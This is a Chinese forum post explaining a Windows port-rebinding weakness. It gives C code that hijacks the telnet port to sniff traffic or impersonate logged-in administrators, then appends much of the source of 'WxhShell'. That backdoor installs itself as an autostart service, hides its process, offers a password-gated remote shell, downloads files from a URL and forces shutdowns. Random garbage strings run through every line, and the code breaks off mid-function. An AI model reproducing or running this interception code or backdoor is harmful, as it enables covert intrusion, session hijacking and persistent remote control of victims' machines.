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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &C im!I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;= j@, yu  
M/?KV9Xk2  
  saddr.sin_family = AF_INET; )VCzn~uf  
s]T""-He  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^=n+T7"J  
M<SdPC(+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =cN&A_L(  
#j#_cImE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QIN."&qC^  
di)*-+  
  这意味着什么?意味着可以进行如下的攻击: HkV1sT  
!3i Gz_y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g~7Ri-"  
}>^Q'BW;65  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i,V;xB2  
6Ao%>;e*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R1F5-#?'E  
>@WX>0`ht  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !3mA 0-!+  
gH2,\z`[4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AC O)Dt(Y  
uj%skOD6Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OA:%lC!  
%}86D[PF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RH}A  
K.G$]H  
  #include d=,%= @  
  #include {k4CEt;  
  #include ]M)O YY  
  #include    wU#F_De)R:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J--m[X  
  int main() @i^~0A#q*  
  { QKN<+,h!z>  
  WORD wVersionRequested; < Dx]b*H  
  DWORD ret; 9Rek4<5  
  WSADATA wsaData; |Iu npZV  
  BOOL val; t+,4Ya|Xj  
  SOCKADDR_IN saddr; KXV[OF&J  
  SOCKADDR_IN scaddr; H Te<x  
  int err; t}v2$<!I  
  SOCKET s; ^Qu iH'  
  SOCKET sc;  )>D+x5o]  
  int caddsize; ,!V]jP)  
  HANDLE mt; iK?b~Q  
  DWORD tid;   X1 ZgSs+i  
  wVersionRequested = MAKEWORD( 2, 2 ); A2}Rl%+X]6  
  err = WSAStartup( wVersionRequested, &wsaData ); 9%* wb`&  
  if ( err != 0 ) { )BfT7{WN  
  printf("error!WSAStartup failed!\n"); y9#$O(G  
  return -1; {0! ~C=P  
  }  tpy>OT$  
  saddr.sin_family = AF_INET; ~&\ f|%  
   7PR#(ftz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9Pw0m=4  
3] 1-M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pZ#ap<|>I  
  saddr.sin_port = htons(23); \5Vde%!$Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X=8Y&#%  
  { $A3<G-4O  
  printf("error!socket failed!\n"); c!8=lrT.  
  return -1; M MzGd:0b  
  } ^-FRTC  
  val = TRUE; Jc)^49Rf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6<0n *&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zrVC8Wb  
  { s4_/&h  
  printf("error!setsockopt failed!\n"); T32BnmB{  
  return -1; vIvVq:6_3  
  } @\&m+;6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PpLU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1b8p~-LsU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Sx    
R:p62c;Tv0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z ,^9 Z  
  { q9"=mO0J+  
  ret=GetLastError(); b;|55Y  
  printf("error!bind failed!\n"); (;. AS  
  return -1; ND<!4!R^  
  } `si#aU  
  listen(s,2); I ];M7  
  while(1) ;Ut+yuy  
  { 1Y_w5dU  
  caddsize = sizeof(scaddr); o;b0m;~   
  //接受连接请求 RFh"&0[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XW JwJ  
  if(sc!=INVALID_SOCKET) 6 \B0^  
  { mj?16\|]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HE<1v@jW  
  if(mt==NULL) `RMI(zI3g.  
  { R{,ooxH\J  
  printf("Thread Creat Failed!\n"); _md=Q$9!m  
  break; 1>Q{Gs^  
  } |%~+2m  
  } 39 {{7(hh  
  CloseHandle(mt); K.gEj*@  
  } ?Z\Yu'  
  closesocket(s); ,2oF:H  
  WSACleanup(); b'zR 9V  
  return 0; 2/,0iwj-  
  }   ?}Z1(it0  
  DWORD WINAPI ClientThread(LPVOID lpParam) $ _8g8r}  
  { \U%#nU{  
  SOCKET ss = (SOCKET)lpParam; \b}~2oX  
  SOCKET sc; 7\o!HMfK  
  unsigned char buf[4096]; &iN--~}!$  
  SOCKADDR_IN saddr; 9*6]&:fm  
  long num; }U@m*dEG  
  DWORD val; VC5_v62&.  
  DWORD ret; bg|!'1bD`5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eUS   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ou'?]{  
  saddr.sin_family = AF_INET; JT[*3 h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,n2i@?NHZ  
  saddr.sin_port = htons(23); h5 Vv:C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \EbbkN:D  
  { +@X5!S6  
  printf("error!socket failed!\n"); vUC!fIG  
  return -1; u% 2<\:~j  
  } QD{:vG g  
  val = 100; 0;sRJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dAJ,x =`  
  { a :SQ16_?  
  ret = GetLastError(); \^*< y-jL  
  return -1; /Tz85 [%6  
  } h%d^Gq~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  Gt9wR  
  { X fz`^x>M  
  ret = GetLastError(); g. %  
  return -1; mN0=i(H<  
  } IL7`0cN(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p]W+eT  
  { ~Pk0u{,4XQ  
  printf("error!socket connect failed!\n"); s(ROgCO  
  closesocket(sc); b|^I<7  
  closesocket(ss); 8U~.\`H-PT  
  return -1; 9-*NW0  
  } dAx96Og:X"  
  while(1) "oJ(J{Jat  
  { crA :I"I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "YFls#4H-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ScnY3&rc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3bC yTZk  
  num = recv(ss,buf,4096,0); _3Q8n|  
  if(num>0) l52a\/  
  send(sc,buf,num,0); A3P9.mur  
  else if(num==0) Y{Ap80'\6  
  break; 1`r| op},  
  num = recv(sc,buf,4096,0); ]XUl@Y.   
  if(num>0) M\/XP| 7  
  send(ss,buf,num,0); lXrD!1F  
  else if(num==0) lH BI  
  break; aP~gaSx  
  } kL{;.WsB  
  closesocket(ss); wN]J8Ir  
  closesocket(sc); f%^'P"R  
  return 0 ; ,-*iCs<  
  } :jNYP{Br  
5P^U_  
C;1PsSE+A  
========================================================== Yt1mB[&f^  
~bU7QLr  
下边附上一个代码,,WXhSHELL 4-4?IwS  
,j;PRJ  
========================================================== :Am-8  
vx0UoKX  
#include "stdafx.h" "h$R ]~eG  
p]LnE `v  
#include <stdio.h> D(Ix!G/  
#include <string.h> `bgb*Yaod  
#include <windows.h> 2YQ#-M  
#include <winsock2.h> 3l:XhLOj  
#include <winsvc.h> ~^o=a?L`<  
#include <urlmon.h> mX_)b>iW  
>S&U.  
#pragma comment (lib, "Ws2_32.lib") f'/ KMe%<  
#pragma comment (lib, "urlmon.lib") H:}}t]E  
q(9%^cV6  
#define MAX_USER   100 // 最大客户端连接数 A!HK~yk~Q  
#define BUF_SOCK   200 // sock buffer mY2:m(9"5  
#define KEY_BUFF   255 // 输入 buffer ZxSsR{  
g^lFML| %  
#define REBOOT     0   // 重启 =y;@?=T  
#define SHUTDOWN   1   // 关机 c>MY$-PD  
gA +:CgQ  
#define DEF_PORT   5000 // 监听端口 i.@*t IK  
Qilj/x68  
#define REG_LEN     16   // 注册表键长度 z[ #6-T &  
#define SVC_LEN     80   // NT服务名长度 9+VF<;Xw  
)+GX<2_  
// 从dll定义API ?[SVqj2-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x70N8TQ_gK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *,jqE9:O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  # eEvF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,V2#iY.%}N  
~= 9V v  
// wxhshell配置信息 Yk7"XP[Y  
struct WSCFG { yV_ L/,6}D  
  int ws_port;         // 监听端口 '5WN,Vy8.  
  char ws_passstr[REG_LEN]; // 口令 F?2FITi_V  
  int ws_autoins;       // 安装标记, 1=yes 0=no aJQXJ,>Lv  
  char ws_regname[REG_LEN]; // 注册表键名 \9jpCNdJ  
  char ws_svcname[REG_LEN]; // 服务名 ;GQm[W([  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gc}0]!nrW9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _h~p:=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /,t| !)\]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o[{&!t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" onh?/3l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e[p^p!a  
] zIfC>@R  
}; Ph"iX'J  
Ns~ g+C9  
// default Wxhshell configuration mS7E_A8  
struct WSCFG wscfg={DEF_PORT, z (#Xca  
    "xuhuanlingzhe", Sgx+V"bkT  
    1, bXm :]?  
    "Wxhshell", g\j>qUjs%Q  
    "Wxhshell", r&/D~g\"|[  
            "WxhShell Service", JOgmF_(>Z  
    "Wrsky Windows CmdShell Service", v['AB4  
    "Please Input Your Password: ", p}r yKW\cJ  
  1, rJp?d9B  
  "http://www.wrsky.com/wxhshell.exe", QS%,7'EG  
  "Wxhshell.exe" e mC\i  
    }; F]Pul|.l  
B~4mk  
// 消息定义模块 SE-} XI\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |'@V<^GR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K wQXA'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P69>gBZYD  
char *msg_ws_ext="\n\rExit."; IwnYJp:9v  
char *msg_ws_end="\n\rQuit."; v(k*A:  
char *msg_ws_boot="\n\rReboot..."; n<+~ zQ  
char *msg_ws_poff="\n\rShutdown..."; (O Qi%/Oy  
char *msg_ws_down="\n\rSave to "; I}1fEw>8  
$<14JEU  
char *msg_ws_err="\n\rErr!"; wo$|~ Hr  
char *msg_ws_ok="\n\rOK!"; )m)h/_  
CARq^xI-  
char ExeFile[MAX_PATH]; |#!eMJ&0  
int nUser = 0; ?F!W#   
HANDLE handles[MAX_USER]; #fJwC7  4  
int OsIsNt; e|35|I '  
n JW_a&'  
SERVICE_STATUS       serviceStatus; TR+Q4Y:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; % d4+Ctrp-  
,WzG.3^m  
// 函数声明 ]kzv8#  
int Install(void); t4C<#nfo  
int Uninstall(void); P~n8EO1r  
int DownloadFile(char *sURL, SOCKET wsh); K%kXS  
int Boot(int flag); / O|Td'Z  
void HideProc(void); |qQ{8T%)  
int GetOsVer(void); VM=hQYe  
int Wxhshell(SOCKET wsl); c&0;wgieg  
void TalkWithClient(void *cs); 7j4ej|Fjo  
int CmdShell(SOCKET sock); ~r{\WZ.  
int StartFromService(void); pE~9o 9  
int StartWxhshell(LPSTR lpCmdLine); N:"M&E UM  
1y_fQ+\2A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H^]Nmd8Q)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cH+h=E=  
o",f(v&u%  
// 数据结构和表定义 3(cU)  
SERVICE_TABLE_ENTRY DispatchTable[] = ~%D^ Ga7  
{ ]Y?{$M G  
{wscfg.ws_svcname, NTServiceMain}, >_|Z{:z]d.  
{NULL, NULL} ^aGZJiyJ  
}; ey'pm\Z  
=$&7IQ?  
// 自我安装 a!TBk=P  
int Install(void) GhSL%y  
{ 6M O|s1zk  
  char svExeFile[MAX_PATH]; [8B tIv  
  HKEY key; ~.\73_M=A  
  strcpy(svExeFile,ExeFile); vLi/'|7  
6\NX 5Gh  
// 如果是win9x系统,修改注册表设为自启动 > C*?17\  
if(!OsIsNt) { lGD%R'}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^KaqvG$ed  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nb|3?c_  
  RegCloseKey(key); Bt |9%o06l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ?.4yg(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tdMP,0u  
  RegCloseKey(key); v#FJ+  
  return 0; B,BOzpb(  
    } ,v$2'm)V  
  } JLFFh!J  
} X+?Il)Bv  
else { WI*^+E&=*  
L@gQ L  
// 如果是NT以上系统,安装为系统服务 t  z +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mhu53DT  
if (schSCManager!=0) c5T~0'n  
{ :Ul'(@  
  SC_HANDLE schService = CreateService K4h-4Qbn  
  ( Y:tW]   
  schSCManager, $ DABR  
  wscfg.ws_svcname, CA~em_dC  
  wscfg.ws_svcdisp, hB2s$QS  
  SERVICE_ALL_ACCESS, Q%X:5G?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M[`w{A  
  SERVICE_AUTO_START, [t "_}t=w  
  SERVICE_ERROR_NORMAL, 1{\,5U&  
  svExeFile, m-Z'K_oQ  
  NULL, QXIbFv  
  NULL, Hz!U_?  
  NULL, oneSgJ  
  NULL, 8a":[Q[  
  NULL v ,G-k2$Qe  
  ); c|R3,<Q]  
  if (schService!=0) s$DT.cvO  
  { f<s'prF  
  CloseServiceHandle(schService); l7D4`i<F  
  CloseServiceHandle(schSCManager); U:pLnNp`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mhJOR'2  
  strcat(svExeFile,wscfg.ws_svcname); O_ s9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oC@"^>4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4? /ot;>2  
  RegCloseKey(key); npG+# z  
  return 0; mNBpb}  
    } w|n?m  
  } F-reb5pt.=  
  CloseServiceHandle(schSCManager); KOAz-h@6   
} 56O<CgJF<  
} 63y':g  
I ")"s  
return 1; "z(fBnv  
} go%X%Os]  
S#0|#Z5qD  
// 自我卸载 *~t$k56  
int Uninstall(void) 8G[Y9A(bmP  
{ 3MBz  
  HKEY key; <76=H]h~  
t+4%,n f_1  
if(!OsIsNt) { |V~(mS747:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -SC2Zgi)A  
  RegDeleteValue(key,wscfg.ws_regname); hF=V ?\  
  RegCloseKey(key); QF.wtMGF&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9B6_eFb  
  RegDeleteValue(key,wscfg.ws_regname); %f3Nml  
  RegCloseKey(key); 7PQj7&m  
  return 0; ETH#IM8J  
  } xdTzG4  
} WX[dM }L  
} sVm'9k  
else { l`5}i|4KTW  
omUl2C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UgP=k){  
if (schSCManager!=0) <4A(Z$ZX)  
{ Zkb,v!l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BUy}Rn  
  if (schService!=0) uwS'*5tU  
  { BKP!+V/  
  if(DeleteService(schService)!=0) { !PP?2Ax  
  CloseServiceHandle(schService); s)7`r6w  
  CloseServiceHandle(schSCManager); ?k7/`g U  
  return 0;  d7-F&!sQ  
  } GL0':LsZ  
  CloseServiceHandle(schService); |sZ9 /G7  
  } CPCB!8-5  
  CloseServiceHandle(schSCManager); V:" \(Y  
} $}h_EI6hS  
} Hd@T8 D*A  
m5Laq'~0_  
return 1; W,oV$ s^  
} 1MzB?[gx  
LF,c-Cv!jL  
// 从指定url下载文件 Z(`K6`KM  
int DownloadFile(char *sURL, SOCKET wsh) 1nM?>j%k  
{ 8w@jUGsc  
  HRESULT hr; ojs/yjvx  
char seps[]= "/"; "@<g'T0  
char *token; 1XKIK(l  
char *file; 9lwo/(s  
char myURL[MAX_PATH]; ^J=txsx  
char myFILE[MAX_PATH]; *q 9$SDm  
Q^5 t]HKn  
strcpy(myURL,sURL); 2!& ;ZcT,  
  token=strtok(myURL,seps); <qj@waKw4  
  while(token!=NULL) Wv'B[;[)  
  { rO >wX_  
    file=token; k/rkJ|i+p  
  token=strtok(NULL,seps); V\lF:3C  
  } Qz90 mb  
Mh B=+S[@  
GetCurrentDirectory(MAX_PATH,myFILE); @[ N~;>  
strcat(myFILE, "\\"); w5G34[v  
strcat(myFILE, file); [~H`9Ab=  
  send(wsh,myFILE,strlen(myFILE),0); ^Q+5M"/8  
send(wsh,"...",3,0); ov.rHVeI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;@\J scNJ|  
  if(hr==S_OK) 20xGj?M  
return 0; O*"wQ50Ou  
else @)B5^[4(;  
return 1; vb2O4%7tw  
IZ ha* 7  
} N@ tb^M  
yq^$H^_O p  
// 系统电源模块 )n61IqrW  
int Boot(int flag) fC:\Gh5  
{ ?O]gFn  
  HANDLE hToken; #3jZ7RqzQ  
  TOKEN_PRIVILEGES tkp; 6h"? 3w  
[-}%B0S**  
  if(OsIsNt) { )u:8Pv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6EGEwx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4SO{cs t  
    tkp.PrivilegeCount = 1; c=mFYsSv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M4]|(A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AYtcN4\/  
if(flag==REBOOT) { n m$G4Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~0  t'+.  
  return 0; :njUaMFoMA  
} RLr-xg$K-t  
else { G4]``  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >@\-m  
  return 0; KWkT 9[H  
} +DDvM;31w  
  } 2^j9m}`  
  else { !SNtJi$;v  
if(flag==REBOOT) { Kn]WXc|("  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /FXfu  
  return 0; 3@A k6Uh  
} ;]e"bX  
else { b?^<';,5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U%olH >1K  
  return 0; N{@ eV][Q  
} 27gm_ *  
} OuH]Y70(  
cZ,_O~  
return 1; L~zet-3UNf  
} m/h0J03'T  
9tgkAU`  
// win9x进程隐藏模块 1A *8Jnw  
void HideProc(void) my0->W%L  
{ hWJc A.A  
x F#)T *  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  )BB a  
  if ( hKernel != NULL ) D[?|\?  
  { lD XH<W?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S^.=j oI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]y$C6iUY*  
    FreeLibrary(hKernel); djp(s$:{4  
  } .YlM'E*X  
Hs`  '](  
return; lUz@Em  
} $<#sCrNX  
]vrs?  
// 获取操作系统版本 19DW~kvYk  
int GetOsVer(void) '{~ ej:  
{ W525:h52{  
  OSVERSIONINFO winfo; jTIn@Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cm<3'#~Q?  
  GetVersionEx(&winfo); [8n4lE[)"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .BvV[`P  
  return 1; Y_B( R  
  else $+j )  
  return 0; 04TV. /uA  
} ^S @b*  
,`b9c=6;  
// 客户端句柄模块 x$*OglaS  
int Wxhshell(SOCKET wsl) dX*PR3I-3  
{ :csLZqn[  
  SOCKET wsh; FE.:h'^h  
  struct sockaddr_in client; 8?!Vr1x  
  DWORD myID; 1^mO"nX  
UF tTt`N2  
  while(nUser<MAX_USER) .*{LPfD|  
{ SV >EB;<  
  int nSize=sizeof(client); (nm&\b~j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5{UGSz 1  
  if(wsh==INVALID_SOCKET) return 1; bV ym  
O #"O.GX<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6IA~bkc}  
if(handles[nUser]==0) "#%T*c{Tf0  
  closesocket(wsh); IN"qJ3<k  
else VlH9ap  
  nUser++; fsu'W]f  
  } xfilxd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ul E\>5O4h  
EW)]75o{QF  
  return 0; _kfApO )O  
} xYbF76B  
/>$kDe  
// 关闭 socket rz(DZV  
void CloseIt(SOCKET wsh) 3't?%$'5  
{ m T;z `*  
closesocket(wsh); =6'A8d  
nUser--; (Xx @_  
ExitThread(0); nZ]d[  
} \|kU{d0  
a,X3=+_K  
// 客户端请求句柄 /dIiFr"e}G  
void TalkWithClient(void *cs) 9E+^FZe  
{ 7J)-WXk  
(5SI! 1N  
  SOCKET wsh=(SOCKET)cs; w] VvH"?  
  char pwd[SVC_LEN]; =6>mlI>i  
  char cmd[KEY_BUFF]; q^gd1K<N  
char chr[1]; qzq>C"z\Y$  
int i,j; &" =inkh  
% nR:Rc!  
  while (nUser < MAX_USER) { k5^'b#v  
& )Z JT.S  
if(wscfg.ws_passstr) { :E.mU{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %"o4IYV#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "p<f#s}  
  //ZeroMemory(pwd,KEY_BUFF); c#_%|gg  
      i=0; 3=` UX  
  while(i<SVC_LEN) { <~3@+EEM  
O\x Uv  
  // 设置超时 `":< ]lj  
  fd_set FdRead; h)sc-e  
  struct timeval TimeOut; ?=6zgb"9-  
  FD_ZERO(&FdRead); 7p|Pv;wp|  
  FD_SET(wsh,&FdRead); {R(q7ALR  
  TimeOut.tv_sec=8; KY@k4S+  
  TimeOut.tv_usec=0; } ZV$_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /Z-|E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P'zA=Rd&~>  
g=b 'T-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VPK)HzPG,  
  pwd=chr[0]; _bW#* Y5  
  if(chr[0]==0xd || chr[0]==0xa) { T<!TmG  
  pwd=0; 6ZX{K1_q  
  break; ~Xa >;  
  } *PD7H9m  
  i++; iX}EJD{f  
    } (.Sj"6+  
I~EJctOG  
  // 如果是非法用户,关闭 socket hCM+=]z"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L_O m<LO2  
} )%P!<|s:5  
2wikk]Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Qr#JJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ge*f<#|0U-  
dQTJC %]O  
while(1) { t '* L,  
.- uH ax0  
  ZeroMemory(cmd,KEY_BUFF); kowBB0  
3 (jI  
      // 自动支持客户端 telnet标准   0rooL<~fa  
  j=0; J&2cf#  
  while(j<KEY_BUFF) { uK1DC i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o^H.uBO{  
  cmd[j]=chr[0]; (6!W8x7  
  if(chr[0]==0xa || chr[0]==0xd) { 1)w^.8f  
  cmd[j]=0; c#Y/?F2p  
  break; k,OP*M  
  } ?`lIsd  
  j++; LS <\%A}  
    } 6;Wns'  
TZ3"u@ 06  
  // 下载文件 /5pVzv+rm  
  if(strstr(cmd,"http://")) { /{|JQ'gqX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tP^2NTs%]  
  if(DownloadFile(cmd,wsh)) D.su^m_1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yp9vgUs  
  else gd#+N]C_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I82GZL  
  } LR%]4$ /M  
  else { [`2V!rU  
=~yRgGwJ  
    switch(cmd[0]) { E9<oA.  
  [3o^06V8j  
  // 帮助 Xw)W6H|  
  case '?': { &P'd&B1   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =^3 Z L  
    break; }xJ ).D  
  } '(fQtQ%  
  // 安装 <5BNcl\ZL  
  case 'i': { ~)vq0]MRg  
    if(Install()) m?GBvL$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WstX>+?'  
    else /3#)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5d|hP4fEc  
    break; q|h#J}\  
    } t[}&*2"$/  
  // 卸载 1#}}:  
  case 'r': { Smg z}  
    if(Uninstall()) o4P>t2'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qv1<)&Ft<  
    else r?7tI0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PJ -g.0q  
    break; tqk^)c4FF(  
    } M,w5F5  
  // 显示 wxhshell 所在路径 ?hBjq  
  case 'p': { <*_DC)&7 9  
    char svExeFile[MAX_PATH]; yd|ao\'=  
    strcpy(svExeFile,"\n\r"); ,B2p\  
      strcat(svExeFile,ExeFile); Q{= DLm`  
        send(wsh,svExeFile,strlen(svExeFile),0); zt!)7HBo  
    break; ;suY  
    } OjWg>v\ v  
  // 重启 _*w kTI+j  
  case 'b': { ,eSII2,r4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mlLx!5h=  
    if(Boot(REBOOT)) tZ>'tE   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9s4>hw@u  
    else { 1$_|h@  
    closesocket(wsh); VW\xuP  
    ExitThread(0); WU\Bs2  
    } aOhi<I`*  
    break; &0x;60b  
    } W %<,GV  
  // 关机 7<0oK|~c#  
  case 'd': { g|Xjw Ti8$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F]GX;<`  
